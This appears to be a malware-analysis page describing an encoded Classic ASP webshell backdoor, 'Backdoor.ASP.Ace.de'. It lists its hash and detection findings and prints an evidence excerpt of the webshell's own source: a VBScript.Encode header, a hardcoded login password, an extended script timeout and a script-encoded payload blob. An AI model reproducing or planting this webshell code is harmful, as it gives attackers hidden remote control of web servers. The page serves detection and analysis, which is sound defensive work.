Hostile 92% Download

Backdoor.ASP.Ace.de

Encoded ASP webshell backdoor

Script-encoded ASP raises a long timeoutScript-encoded ASP uses a hardcoded password
SHA-256681b5cdc41cc6a0e58f43bc47d7b491c333ea255d77369b4a812fbad5e2e4b54
MaleculeO(C)Th

Evidence

Hardcodes a Classic ASP login password line 0
0<%@ LANGUAGE = VBScript.Encode %> <% Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next UserPass="lst" '�������� mName="L.S.T����������" '���ú������� SiteURL="Http://wWw.slenk.net" '������վ Copyright="ע���������ڷǷ���;�����������߸Ų�����" '���ð�Ȩ AD="�����Ϣ ҵ��QQ��10000" '����״̬��������� #@~^HzcBAA==@#@&/;(PUtWS2M.`*@#@&P,qW~ADD,Ptx@#@&~~P,I"?E@!8.@*@!CP4.+6'v%m\ld^Mk2Y=4b/OKDHR4mm0c#E@*@!4M@*'U(/wpEPLP2M. f/1DrwOrKx~[,E@!Jl@*@!(D@*E@#@&P~P,3MD ;VlD=IdwKxd+css;kt@#@&~PAxN,(W@#@&+ N~/;8@#@&jE(~I"?cdDD#@#@&iDn/aG /nchMkY`kOD*@#@&2 N~j!4@#@&

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.